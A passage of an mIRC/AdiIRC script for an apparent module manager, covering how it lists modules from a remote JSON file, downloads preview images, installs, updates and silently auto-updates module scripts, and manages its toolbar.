  1167.     var %ext = $right($nopath(%s),4)
  1168.     var %path = $wmm_getpath($mid($nopath(%s),0,-4))
  1169.  
  1170.     if ($nopath(%s) !== $nopath($script)) && (%path) && (%ext) && (%ext !== .mrc) { .unload -rs $qt($nopath(%s)) }
  1171.  
  1172.     dec %t
  1173.   }
  1174.   return
  1175.   :error | wmm_werror $scriptline $error | reseterror
  1176. }
  1177.  
  1178. alias -l wmm_reset_images {
  1179.  
  1180.   ; -i = Will fill the wmm_module dialog with the module images instead of reseting.
  1181.  
  1182.   var %h = WMM_MODULES
  1183.   var %d = wmm_module
  1184.   if (!$dialog(%d)) || ($isid) { return }
  1185.   if ($1) && ($1 == -i) && ($2) {
  1186.     var %imgs = $hget(%h,$2 $+ _images)
  1187.  
  1188.     var %i = 1
  1189.     while (%i <= $numtok(%imgs,44)) {
  1190.       if (%i == 1) {
  1191.         var %n = $lower($2) $+ _image_ $+ %i
  1192.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1193.         var %tmp_f = %f
  1194.         if (!$file(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1195.         if (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x026 | dialog -k $dname | return }
  1196.         did -g %d 14 $qt(%f)
  1197.         if (!$wmm_isadi) && (!$file(%tmp_f)) { .timer[WMM_DOWNLOAD_ $+ %n $+ _IMAGE] -ho 1 1000 wmm_dl $wmm_modules_image($nopath(%tmp_f)) $qt(%tmp_f) }
  1198.         if ($wmm_isadi) && (!$download(wmm_dl_images)) && (!$file(%tmp_f)) { download -o %n $wmm_modules_image($nopath(%tmp_f)) $qt(%tmp_f) }
  1199.       }
  1200.       if (%i == 2) {
  1201.         var %n = $lower($2) $+ _image_ $+ %i
  1202.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1203.         var %tmp_f = %f
  1204.         if (!$file(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1205.         if (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x027 | dialog -k $dname | return }
  1206.         did -g %d 15 $qt(%f)
  1207.         if (!$wmm_isadi) && (!$file(%tmp_f)) { .timer[WMM_DOWNLOAD_ $+ %n $+ _IMAGE] -ho 1 2000 wmm_dl $wmm_modules_image($nopath(%tmp_f)) $qt(%tmp_f) }
  1208.         if ($wmm_isadi) && (!$download(wmm_dl_images)) && (!$file(%tmp_f)) { download -o %n $wmm_modules_image($nopath(%tmp_f)) $qt(%tmp_f) }
  1209.       }
  1210.       if (%i == 3) {
  1211.         var %n = $lower($2) $+ _image_ $+ %i
  1212.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1213.         var %tmp_f = %f
  1214.         if (!$file(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1215.         if (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x028 | dialog -k $dname | return }
  1216.         did -g %d 16 $qt(%f)
  1217.         if (!$wmm_isadi) && (!$file(%tmp_f)) { .timer[WMM_DOWNLOAD_ $+ %n $+ _IMAGE] -ho 1 3000 wmm_dl $wmm_modules_image($nopath(%tmp_f)) $qt(%tmp_f) }
  1218.         if ($wmm_isadi) && (!$download(wmm_dl_images)) && (!$file(%tmp_f)) { download -o %n $wmm_modules_image($nopath(%tmp_f)) $qt(%tmp_f) }
  1219.       }
  1220.       inc %i
  1221.     }
  1222.     return
  1223.   }
  1224.  
  1225.   var %f = $wmm_dir $+ no_preview.png
  1226.   did -h %d 28
  1227.   if (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x008 | wmm_d_close %d }
  1228.   else { did -g %d 14,15,16 $qt(%f) }
  1229.   return
  1230.   :error | wmm_werror $scriptline $error | reseterror
  1231. }
  1232.  
  1233. alias -l wmm_mod_install {
  1234.   var %d = wmm_module
  1235.   if (!$1) || ($isid) || (!$dialog(%d)) || ($wmm_error) { return }
  1236.   if ($3 !== S_OK) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x007 | wmm_d_close %d | return }
  1237.   var %f = $noqt($5-)
  1238.   if (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x018 | wmm_d_close %d | return }
  1239.   set -eu0 %wmm_signal_noclose 1
  1240.   .load -rs $qt(%f)
  1241.   if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x012 | wmm_d_close %d | return }
  1242.   did -euz %d 6
  1243.   wmm_reset_images
  1244.   wmm_modules_installed_plus_updated_list
  1245.   wmm_input ok 60 $wmm_lang(35)
  1246.   return
  1247.   :error | wmm_werror $scriptline $error | reseterror
  1248. }
  1249.  
  1250. alias -l wmm_mod_update {
  1251.   var %d = wmm_module
  1252.   if (!$1) || ($isid) || (!$dialog(%d)) || ($wmm_error) { return }
  1253.   if ($4 !== S_OK) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x011 | wmm_d_close %d | return }
  1254.   var %f = $noqt($6-)
  1255.   if (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x014 | wmm_d_close %d | return }
  1256.   set -eu0 %wmm_signal_noclose 1
  1257.   if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  1258.   .load -rs $+ $2 $qt(%f)
  1259.   if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x015 | wmm_d_close %d | return }
  1260.   wmm_modules_installed_plus_updated_list
  1261.   wmm_reset_images
  1262.   wmm_input ok 60 $wmm_lang(37)
  1263.   return
  1264.   :error | wmm_werror $scriptline $error | reseterror
  1265. }
  1266.  
  1267. alias -l wmm_check_update {
  1268.  
  1269.   ; -m = will flag that the update coming from WMM
  1270.   ; -n = will flag that the update coming from WMM settings.
  1271.   ; -s = will flag that the update coming from nowhere and it will executed as silent.
  1272.  
  1273.   if (!$1) || ($isid) { return }
  1274.   var %d = wmm_module
  1275.   var %d2 = wmm_module_sets
  1276.   var %v = wmm_update
  1277.  
  1278.   jsonopen -u %v $wmm_sets_url
  1279.   if ($jsonerror) { jsonclose %v | return }
  1280.  
  1281.   var %ver = $json(%v,latest_version).value
  1282.   var %chan = $json(%v,latest_version_channel).value
  1283.   var %date = $json(%v,latest_version_date).value
  1284.   var %url = $json(%v,latest_version_source_download).value
  1285.   if (!$wmm_isadi) { var %client = mIRC | var %client_ver = $json(%v,compatitable_mirc_version).value }
  1286.   else { var %client = AdiIRC | var %client_ver = $json(%v,compatitable_adiirc_version).value }
  1287.   jsonclose %v
  1288.  
  1289.   if (%url) && (%ver) && (%ver !== $wmm_ver) && (%chan == STABLE) {
  1290.     if ($1) && ($1 == -s) { set -eu300 %wmm_update 3 | goto end }
  1291.     var %ask = $input($wmm_lang(23) $iif(%chan,$v1,N/A) $wmm_lang(24) %ver ( $+ $iif(%date,$v1,N/A) $+ ) $wmm_lang(25) $+ . $crlf $crlf $+ $+ $wmm_lang(66) $crlf $crlf $+ $+ $wmm_lang(26),yuidbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  1292.     if (!%ask) { return }
  1293.     if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | set -eu0 %wmm_update 3 | return }
  1294.     :end
  1295.     if (%client_ver) && (%client_ver > $version) {
  1296.       if (%wmm_update !== 3) { wmm_input error 60 $wmm_lang(41) %client $wmm_lang(42) }
  1297.       url https:// $+ %client $+ .com
  1298.       set -eu0 %wmm_update 3
  1299.       return
  1300.     }
  1301.     wmm_d_close %d
  1302.     wmm_d_close %d2
  1303.     if ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) { url %url }
  1304.     elseif (!$wmm_check_initial_warn) && (!$wmm_check_monitor_warn) {
  1305.       if ($1) && ($1 == -m) { set -eu300 %wmm_update 1 }
  1306.       if ($1) && ($1 == -n) { set -eu300 %wmm_update 2 }
  1307.       if ($wmm_isadi) { download -o wmm_check_update_install %url $qt($wmm_dir $+ $upper($wmm_owner) Module Manager.mrc) }
  1308.       else { wmm_download $qt(wmm_check_update_install) %url $qt($wmm_dir $+ $upper($wmm_owner) Module Manager.mrc) }
  1309.     }
  1310.   }
  1311.   return
  1312.   :error | wmm_werror $scriptline $error | reseterror
  1313. }
  1314.  
  1315. alias -l wmm_check_update_install {
  1316.   if ($2 !== S_OK) || ($isid) || ($wmm_error) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x019) | unset %wmm_update | return }
  1317.   if ($4-) {
  1318.     var %lng = $wmm_dir $+ wmm_lang.ini
  1319.     var %ico = $wmm_dir $+ main.ico
  1320.     var %png = $wmm_dir $+ no_preview.png
  1321.     var %don = $wmm_dir $+ donate.png
  1322.     if ($isfile(%lng)) { .remove $qt(%lng) }
  1323.     if ($isfile(%ico)) { .remove $qt(%ico) }
  1324.     if ($isfile(%png)) { .remove $qt(%png) }
  1325.     if ($isfile(%don)) { .remove $qt(%don) }
  1326.     .timer[WMM_*] off
  1327.     .timer -ho 1 1000 .load -rs1 $qt($4-)
  1328.     wmm_tool -c
  1329.     .unload -nrs $qt($script)
  1330.   }
  1331.   return
  1332.   :error | wmm_werror $scriptline $error | reseterror
  1333. }
  1334.  
  1335. alias -l wmm_modules_silent_update {
  1336.   if (!%wmm_autoupdate_modules) || ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || (!$wmm_internet) || ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) || ($wmm_error) { return }
  1337.   if (!$isdir($wmm_dir $+ modules)) { mkdir $qt($wmm_dir $+ modules) }
  1338.   var %v = wmm_modules_silent_update
  1339.  
  1340.   jsonopen -ud %v $wmm_sets_url
  1341.   if ($jsonerror) { return }
  1342.  
  1343.   var %t = $json(%v,modules).length
  1344.   var %x = 0
  1345.   while (%x < %t) {
  1346.     var %mod = $json(%v,modules,%x,name).value
  1347.     var %path = $wmm_getpath(%mod)
  1348.  
  1349.     if (!%mod) || (!%path) || (!$istok(%wmm_autoupdate_modules,%mod,32)) { goto next }
  1350.  
  1351.     var %ver = $json(%v,modules,%x,version).value
  1352.     var %chan = $json(%v,modules,%x,state).value
  1353.     var %url = $json(%v,modules,%x,url).value
  1354.     var %alias = $json(%v,modules,%x,alias).value
  1355.     var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1356.     var %iv = $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1357.     var %pos = $wmm_getpos(%mod)
  1358.  
  1359.     if (%url) && (%iv) && (%ver) && (%tools_ver) && (%iv !== %ver) && ($wmm_ver >= %tools_ver) && (%chan == STABLE) {
  1360.  
  1361.       var %total = $calc(%total +1)
  1362.       var %chk_sets $right($replace(%alias,_ver,_sets),-1)
  1363.       wmm_d_close %chk_sets
  1364.       if ($wmm_isadi) { .timer[WMM_MOD_SILENT_UPDATE_ $+ %mod $+ ] -ho 1 $calc(%total * 5000) download -o wmm_mod_silent_update %url $qt(%path) }
  1365.       else { .timer[WMM_MOD_SILENT_UPDATE_ $+ %mod $+ ] -ho 1 $calc(%total * 5000) wmm_download $qt(wmm_mod_silent_update %mod %pos) %url $qt(%path) }
  1366.     }
  1367.  
  1368.     :next
  1369.     inc %x
  1370.   }
  1371.   return
  1372.   :error | wmm_werror $scriptline $error | reseterror
  1373. }
  1374.  
  1375. alias -l wmm_mod_silent_update {
  1376.   var %f = $noqt($6-)
  1377.   if (!$1) || ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || ($4 !== S_OK) || ($wmm_error) || (!$file(%f)) { return }
  1378.   if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  1379.   .load -rs $+ $2 $qt(%f)
  1380.   return
  1381.   :error | wmm_werror $scriptline $error | reseterror
  1382. }
  1383.  
  1384. alias -l wmm_modules_list {
  1385.   var %d = wmm_module
  1386.   var %h = WMM_MODULES
  1387.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1388.   var %h2 = WMM_TINY_KEYS
  1389.   if (!$dialog(%d)) || ($isid) { return }
  1390.   var %v = wmm_modules_list_get
  1391.  
  1392.   if ($file($wmm_sets_file)) { jsonopen -f %v $qt($wmm_sets_file) }
  1393.   else { jsonopen -u %v $wmm_sets_url }
  1394.   if ($jsonerror) { jsonclose %v | wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x003 | wmm_d_close %d | return }
  1395.  
  1396.   if ($wmm_installed(total)) {
  1397.     var %tot_rem = $json(%v,removed_modules).value
  1398.     var %i = 1
  1399.     while (%i <= $wmm_installed(total)) {
  1400.       var %mod_rem = $gettok(%tot_rem,%i,32)
  1401.       if ($wmm_getpath(%mod_rem)) {
  1402.         set -eu0 %wmm_signal_noclose 1
  1403.         .unload -rs $qt($wmm_getpath(%mod_rem))
  1404.       }
  1405.       inc %i
  1406.     }
  1407.   }
  1408.  
  1409.   if ($hget(%h)) { hfree $v1 }
  1410.   if ($hget(%hs)) { hfree $v1 }
  1411.   if ($hget(%h2)) { hfree $v1 }
  1412.   did -rb %d 6
  1413.   hmake %h 1000
  1414.   hmake %hs 1000
  1415.   hmake %h2 100
  1416.  
  1417.   var %t = $json(%v,modules).length
  1418.   var %x = 0
  1419.   while (%x < %t) {
  1420.     var %mod = $json(%v,modules,%x,name).value
  1421.     if (!%mod) { goto next }
  1422.  
  1423.     .timer[WMM_MODULES_LIST_GET_ $+ %mod $+ ] -ho 1 $calc(%x * 300) wmm_modules_list_get %v %x %t %mod
  1424.  
  1425.     :next
  1426.     inc %x
  1427.   }
  1428.  
  1429.   var %k1 = $json(%v,tiny_key1).value
  1430.   var %k2 = $json(%v,tiny_key2).value
  1431.   var %k3 = $json(%v,tiny_key3).value
  1432.   var %k4 = $json(%v,tiny_key4).value
  1433.   var %k5 = $json(%v,tiny_key5).value
  1434.   var %k6 = $json(%v,tiny_key6).value
  1435.   var %k7 = $json(%v,tiny_key7).value
  1436.   var %k8 = $json(%v,tiny_key8).value
  1437.   var %k9 = $json(%v,tiny_key9).value
  1438.   var %k10 = $json(%v,tiny_key10).value
  1439.  
  1440.   if (%k1) { hadd %h2 KEY1 %k1 }
  1441.   if (%k2) { hadd %h2 KEY2 %k2 }
  1442.   if (%k3) { hadd %h2 KEY3 %k3 }
  1443.   if (%k4) { hadd %h2 KEY4 %k4 }
  1444.   if (%k5) { hadd %h2 KEY5 %k5 }
  1445.   if (%k6) { hadd %h2 KEY6 %k6 }
  1446.   if (%k7) { hadd %h2 KEY7 %k7 }
  1447.   if (%k8) { hadd %h2 KEY8 %k8 }
  1448.   if (%k9) { hadd %h2 KEY9 %k9 }
  1449.   if (%k10) { hadd %h2 KEY10 %k10 }
  1450.  
  1451.   return
  1452.   :error | wmm_werror $scriptline $error | reseterror
  1453. }
  1454.  
  1455. alias -l wmm_modules_list_get {
  1456.   var %d = wmm_module
  1457.   if ($1 == $null) || ($2 == $null) || ($3 == $null) || ($4 == $null) || ($isid) || (!$dialog(%d)) { return }
  1458.  
  1459.   var %h = WMM_MODULES
  1460.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1461.   var %v = $1
  1462.   var %x = $2
  1463.   var %t = $3
  1464.   var %mod = $4
  1465.  
  1466.   var %desc = $json(%v,modules,%x,description).value
  1467.   var %images = $json(%v,modules,%x,images).value
  1468.   var %examples = $json(%v,modules,%x,examples).value
  1469.   var %changelog = $json(%v,modules,%x,changelog).value
  1470.   var %ver = $json(%v,modules,%x,version).value
  1471.   var %date = $json(%v,modules,%x,date).value
  1472.   var %alias = $json(%v,modules,%x,alias).value
  1473.   var %chan = $json(%v,modules,%x,state).value
  1474.   var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1475.   var %extra_id = $json(%v,modules,%x,extra_id).value
  1476.   var %owner = $json(%v,modules,%x,owner).value
  1477.   var %url = $json(%v,modules,%x,url).value
  1478.  
  1479.   did -a %d 6 %mod
  1480.   if ($did(%d,6).lines) { did -ra %d 2 $wmm_lang(3) ( $+ $did(%d,6).lines $+ ) }
  1481.   else { did -ra %d 2 $wmm_lang(3) }
  1482.  
  1483.   var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1484.   var %key = $json(%v,modules,%x,api_key).value
  1485.   var %key2 = $json(%v,modules,%x,api_key2).value
  1486.  
  1487.   if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1488.   if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1489.  
  1490.   var %a = $replace($right(%alias,-1),_ver,_sets)
  1491.   if (!$hget(%hs,%mod)) && (%a) { hadd %hs %mod %a }
  1492.  
  1493.   if (%alias) {
  1494.     hadd %h %mod $+ _check_version_alias %alias
  1495.     hadd %h %mod $+ _check_version $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1496.   }
  1497.  
  1498.   if (%ver) { hadd %h %mod $+ _version %ver }
  1499.   if (%chan) { hadd %h %mod $+ _channel %chan }
  1500.   if (%date) { hadd %h %mod $+ _crdate %date }
  1501.   if (%url) { hadd %h %mod $+ _url %url }
  1502.   if (%owner) { hadd %h %mod $+ _author %owner }
  1503.   if (%tools_ver) { hadd %h %mod $+ _tools_ver %tools_ver }
  1504.   if (%extra_id) { hadd %h %mod $+ _extra_id %extra_id }
  1505.   if (%desc) { hadd %h %mod $+ _desc %desc }
  1506.   if (%changelog) { hadd %h %mod $+ _changelog %changelog }
  1507.   if (%examples) { hadd %h %mod $+ _examples %examples }
  1508.   if (%images) { hadd %h %mod $+ _images %images }
  1509.  
  1510.   if (%x == $calc(%t -1)) {
  1511.     var %news = $json(%v,latest_news).value
  1512.     if (%news) { var %news = $replace(%news,@newline@,$+ $+ $crlf $+ $+) | did -ra %d 26 %news }
  1513.     else { did -ra %d 26 $wmm_lang(58) }
  1514.     if ($did(%d,6).lines) {
  1515.       var %r = $wmm_lang(3) ( $+ $did(%d,6).lines $+ )
  1516.       if ($did(%d,2) !== %r) { did -ra %d 2 %r }
  1517.       did -e %d 6
  1518.     }
  1519.     else {
  1520.       var %r = $wmm_lang(3)
  1521.       if ($did(%d,2) !== %r) { did -ra %d 2 %r }
  1522.     }
  1523.     .timer[WMM_DOWNLOAD_IMAGES] -ho 1 2000 wmm_dl_images_now
  1524.  
  1525.     jsonclose %v
  1526.     wmm_modules_installed_plus_updated_list
  1527.   }
  1528.   return
  1529.   :error | wmm_werror $scriptline $error | reseterror
  1530. }
  1531.  
  1532. alias -l wmm_modules_installed_plus_updated_list {
  1533.   var %d = wmm_module
  1534.   var %h = WMM_MODULES
  1535.   if (!$dialog(%d)) || ($isid) { return }
  1536.   var %t = $did(%d,6).lines
  1537.   did -b %d 7,8,11,12,13,60,600
  1538.   did -r %d 8,60,600,250
  1539.   did -h %d 250
  1540.   if (!%t) { return }
  1541.   var %i = 1
  1542.   while (%i <= %t) {
  1543.     var %mod = $did(%d,6,%i)
  1544.     var %path = $wmm_getpath(%mod)
  1545.     if (!%mod) || (!%path) { goto next }
  1546.  
  1547.     did -a %d 60 %mod
  1548.  
  1549.     var %mod_ver = $hget(%h,%mod $+ _check_version_alias)
  1550.     var %iv = $iif($isalias($right(%mod_ver,-1)),$evalnext(%mod_ver),0)
  1551.     var %ver = $hget(%h,%mod $+ _version)
  1552.     if (%iv) && (%ver) && (%iv !== %ver) { did -a %d 600 %mod }
  1553.  
  1554.     :next
  1555.     inc %i
  1556.   }
  1557.   if ($did(%d,60).lines) {
  1558.     var %r = $wmm_lang(2) ( $+ $did(%d,60).lines $+ )
  1559.     if ($did(%d,3) !== %r) { did -ra %d 3 %r }
  1560.     did -ez %d 60
  1561.   }
  1562.   else {
  1563.     if ($did(%d,3) !== $wmm_lang(2)) { did -ra %d 3 $wmm_lang(2) }
  1564.   }
  1565.   if ($did(%d,600).lines) {
  1566.     var %r = $wmm_lang(7) ( $+ $did(%d,600).lines $+ )
  1567.     if ($did(%d,4) !== %r) { did -ra %d 4 %r }
  1568.     did -ez %d 600
  1569.   }
  1570.   else {
  1571.     if ($did(%d,4) !== $wmm_lang(7)) { did -ra %d 4 $wmm_lang(7) }
  1572.   }
  1573.   if ($dialog(%d).tab == 3) || ($dialog(%d).tab == 4) { did -ra %d 9 $wmm_lang(59) }
  1574.   elseif ($dialog(%d).tab == 2) { did -ra %d 9 $wmm_lang(9) }
  1575.   return
  1576.   :error | wmm_werror $scriptline $error | reseterror
  1577. }
  1578.  
  1579. alias -l wmm_dl_images_now {
  1580.   if (!$wmm_internet) { return }
  1581.  
  1582.   var %zip = $wmm_temp $+ wmm_modules_images.zip
  1583.   var %fd = $date($file(%zip).mtime,dd/mm/yyyy)
  1584.   if (!$file(%zip)) || (%fd !== $date) {
  1585.     if ($wmm_isadi) { download -o %n $wmm_modules_images_url $qt(%zip) }
  1586.     else { wmm_download $qt(wmm_images_unzip) $wmm_modules_images_url $qt(%zip) }
  1587.  
  1588.   }
  1589.  
  1590.   return
  1591.   :error | wmm_werror $scriptline $error | reseterror
  1592. }
  1593.  
  1594. alias -l wmm_images_unzip {
  1595.   if (!$1) || ($2 !== S_OK) { return }
  1596.  
  1597.   noop $wmm_unzip($noqt($4-),$wmm_temp)
  1598.  
  1599.   return
  1600.   :error | wmm_werror $scriptline $error | reseterror
  1601. }
  1602.  
  1603. alias -l wmm_tool {
  1604.  
  1605.   ; -s = start toolbar
  1606.   ; -c = close toolbar
  1607.   ; -e = check the toolbar
  1608.   ; -b = uncheck the toolbar
  1609.   ; -t = update tooltip via correct language
  1610.  
  1611.   if (!$1) || ($left($1,1) !== -) || ($wmm_error) || ($isid) || (s !isincs $1) && (c !isincs $1) && (t !isincs $1) && (e !isincs $1) && (b !isincs $1) { return }
  1612.   if (!%wmm_tool) && ($toolbar(wmm)) { wmm_t_close wmm | wmm_t_close wmm1 | return }
  1613.   if (s isincs $1) && (%wmm_tool) {
  1614.     var %d = wmm_module
  1615.     var %ico = $wmm_dir $+ main.ico
  1616.     if (!$file(%ico)) { wmm_dl $wmm_main_ico_url $qt(%ico) | return }
  1617.     wmm_t_close wmm
  1618.     wmm_t_close wmm1
  1619.     toolbar -as wmm1
  1620.     toolbar -ak $+ $iif($dialog(%d),1,0) wmm $qt($upper($wmm_owner) $wmm_lang(16) - ( $+ $wmm_lang(74) $+ )) $qt(%ico) $qt(/wmm_check_open) @wmm
  1621.   }
  1622.   if (c isincs $1) { wmm_t_close wmm | wmm_t_close wmm1 }
  1623.   if (t isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -t wmm $qt($upper($wmm_owner) $wmm_lang(16) - ( $+ $wmm_lang(74) $+ )) }
  1624.   if (e isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -k1 wmm }
  1625.   if (b isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -k0 wmm }
  1626.   return
  1627.   :error | wmm_werror $scriptline $error | reseterror
  1628. }
  1629.  
  1630. alias -l wmm_check_open {
  1631.   if ($isid) || ($wmm_error) { return }
  1632.   if ($dialog(wmm_module)) { wmm | return }
  1633.   if ($dialog(wmm_module_sets)) { wmm_sets | return }
  1634.   wmm
  1635.   return
  1636.   :error | wmm_werror $scriptline $error | reseterror
  1637. }
  1638.  
  1639. alias -l wmm_modules_settings_list {
  1640.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1641.   var %h2 = WMM_TINY_KEYS
  1642.   var %d = wmm_module_sets
  1643.   var %v = wmm_modules_sets
  1644.   if (!$dialog(%d)) || ($isid) { return }
  1645.  
  1646.   if ($file($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1647.   else { jsonopen -ud %v $wmm_sets_url }
  1648.   if ($jsonerror) { return }
  1649.  
  1650.   if ($wmm_installed(total)) {
  1651.     var %tot_rem = $json(%v,removed_modules).value
  1652.     var %z = 1
  1653.     while (%z <= $wmm_installed(total)) {
  1654.       var %mod_rem = $gettok(%tot_rem,%z,32)
  1655.       if ($wmm_getpath(%mod_rem)) {
  1656.         set -eu0 %wmm_signal_noclose 1
  1657.         .unload -rs $qt($wmm_getpath(%mod_rem))
  1658.       }
  1659.       inc %z
  1660.     }
  1661.   }
  1662.  
  1663.   did -r %d 3
  1664.   did -b %d 3,4
  1665.  
  1666.   if (%wmm_autoupdate_modules) {
  1667.     var %i = 1
  1668.     while (%i <= $numtok(%wmm_autoupdate_modules,32)) {
  1669.       var %m = $gettok(%wmm_autoupdate_modules,%i,32)
  1670.  
  1671.       if (!%m) { goto next2 }
  1672.       if (!$wmm_getpath(%m)) { set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%m,1,32) | goto next2 }
  1673.  
  1674.       did -a %d 5 %m
  1675.  
  1676.       :next2
  1677.       inc %i
  1678.     }
  1679.   }
  1680.   else { did -b %d 5,6 }
  1681.  
  1682.   if ($hget(%hs)) { hfree %hs }
  1683.   if ($hget(%h2)) { hfree %h2 }
  1684.   hmake %hs 1000
  1685.   hmake %h2 100
  1686.  
  1687.   var %t = $json(%v,modules).length
  1688.   if (!%t) { return }
  1689.   var %x = 0
  1690.   while (%x < %t) {
  1691.     var %mod = $json(%v,modules,%x,name).value
  1692.     var %alias = $json(%v,modules,%x,alias).value
  1693.  
  1694.     var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1695.     var %key = $json(%v,modules,%x,api_key).value
  1696.     var %key2 = $json(%v,modules,%x,api_key2).value
  1697.  
  1698.     if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1699.     if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1700.  
  1701.     var %a = $replace($right(%alias,-1),_ver,_sets)
  1702.     if (%mod) && (%a) && (!$hget(%hs,%mod)) { hadd %hs %mod %a }
  1703.  
  1704.     if (!%mod) || (!$wmm_getpath(%mod)) || ($didwm(%d,5,%mod)) { goto next }
  1705.  
  1706.     did -a %d 3 %mod
  1707.  
  1708.     :next
  1709.     inc %x
  1710.   }
  1711.  
  1712.   var %k1 = $json(%v,tiny_key1).value
  1713.   var %k2 = $json(%v,tiny_key2).value
  1714.   var %k3 = $json(%v,tiny_key3).value
  1715.   var %k4 = $json(%v,tiny_key4).value
  1716.   var %k5 = $json(%v,tiny_key5).value
  1717.   var %k6 = $json(%v,tiny_key6).value
  1718.   var %k7 = $json(%v,tiny_key7).value
  1719.   var %k8 = $json(%v,tiny_key8).value
  1720.   var %k9 = $json(%v,tiny_key9).value
  1721.   var %k10 = $json(%v,tiny_key10).value
  1722.  
  1723.   if (%k1) { hadd %h2 KEY1 %k1 }
  1724.   if (%k2) { hadd %h2 KEY2 %k2 }
  1725.   if (%k3) { hadd %h2 KEY3 %k3 }
  1726.   if (%k4) { hadd %h2 KEY4 %k4 }
  1727.   if (%k5) { hadd %h2 KEY5 %k5 }
  1728.   if (%k6) { hadd %h2 KEY6 %k6 }
  1729.   if (%k7) { hadd %h2 KEY7 %k7 }
  1730.   if (%k8) { hadd %h2 KEY8 %k8 }
  1731.   if (%k9) { hadd %h2 KEY9 %k9 }
  1732.   if (%k10) { hadd %h2 KEY10 %k10 }
  1733.  
  1734.   if ($did(%d,3).lines) { did -ra %d 7 $wmm_lang(67) ( $+ $did(%d,3).lines $+ ) | did -e %d 3 }
  1735.   else { did -b %d 3,4 }
  1736.   if ($did(%d,5).lines) { did -ra %d 8 $wmm_lang(68) ( $+ $did(%d,5).lines $+ ) | did -e %d 5 }
  1737.   else { did -b %d 6 }
  1738.   return
  1739.   :error | wmm_werror $scriptline $error | reseterror
  1740. }
  1741.  
  1742. alias -l wmm_modules_menu_get_installed {
  1743.  
  1744.   ; -g = will try to get and save only the MENUS and KEYS in hash.
  1745.  
  1746.   if ($wmm_error) { return }
  1747.   if ($1) && ($1 == -g) { goto start }
  1748.   if ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) { return }
  1749.   if (!$isdir($wmm_dir $+ modules)) { mkdir $qt($wmm_dir $+ modules) }
  1750.   :start
  1751.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  1752.   var %h2 = WMM_TINY_KEYS
  1753.   var %v = wmm_modules_menu_get_installed
  1754.   if ($hget(%h)) { hfree $v1 }
  1755.   if ($hget(%h2)) { hfree $v1 }
  1756.   hmake %h 1000
  1757.   hmake %h2 100
  1758.  
  1759.   if ($file($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1760.   else { jsonopen -ud %v $wmm_sets_url }
  1761.   if ($jsonerror) { return }
  1762.  
  1763.   var %t = $json(%v,modules).length
  1764.   var %x = 0
  1765.   while (%x < %t) {
  1766.     var %mod = $json(%v,modules,%x,name).value
  1767.     var %alias = $json(%v,modules,%x,alias).value
  1768.     var %a = $right($replace(%alias,_ver,_sets),-1)
  1769.  
  1770.     var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1771.     var %key = $json(%v,modules,%x,api_key).value
  1772.     var %key2 = $json(%v,modules,%x,api_key2).value
  1773.  
  1774.     if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1775.     if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1776.  
